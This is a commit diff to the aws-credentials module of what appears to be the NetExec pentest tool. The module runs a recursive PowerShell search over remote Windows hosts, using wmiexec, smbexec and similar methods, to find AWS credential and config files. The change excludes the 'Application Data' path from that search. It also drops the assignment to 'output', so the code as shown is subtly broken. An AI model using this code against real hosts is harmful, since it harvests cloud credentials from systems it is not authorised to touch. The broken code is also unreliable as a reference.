Skip to content

Commit 779f955

Browse files
committed
Exclude Application Data as this creates and infinite recursion on wmi/winrm
1 parent 1280eaf commit 779f955

1 file changed

Lines changed: 3 additions & 6 deletions

File tree

nxc/modules/aws-credentials.py

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -37,13 +37,10 @@ def on_login(self, context, connection):
3737
output = connection.execute(search_aws_creds_files_cmd)
3838
else:
3939
# search for aws_credentials-related files on windows systems
40-
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include ('credentials','credentials.bk','config','config.bk') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName"
40+
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
41+
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Include ('credentials','credentials.bk','config','config.bk') -Force -ErrorAction SilentlyContinue | ? {{ $_.FullName -inotmatch 'Application Data' }} | Select FullName -ExpandProperty FullName"
4142
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
42-
# Somehow wmiexec retrieves bugged output (smb), removing it from the list
43-
if "smb" in context.protocol: # noqa: SIM108
44-
output = connection.execute(search_aws_creds_files_cmd_win, True, methods=["wmiexec", "atexec", "smbexec", "mmcexec"])
45-
else:
46-
output = connection.execute(search_aws_creds_files_cmd_win, True)
43+
connection.execute(search_aws_creds_files_cmd_win, True)
4744

4845
if output:
4946
context.log.success("The following files were found:")

0 commit comments

Comments
 (0)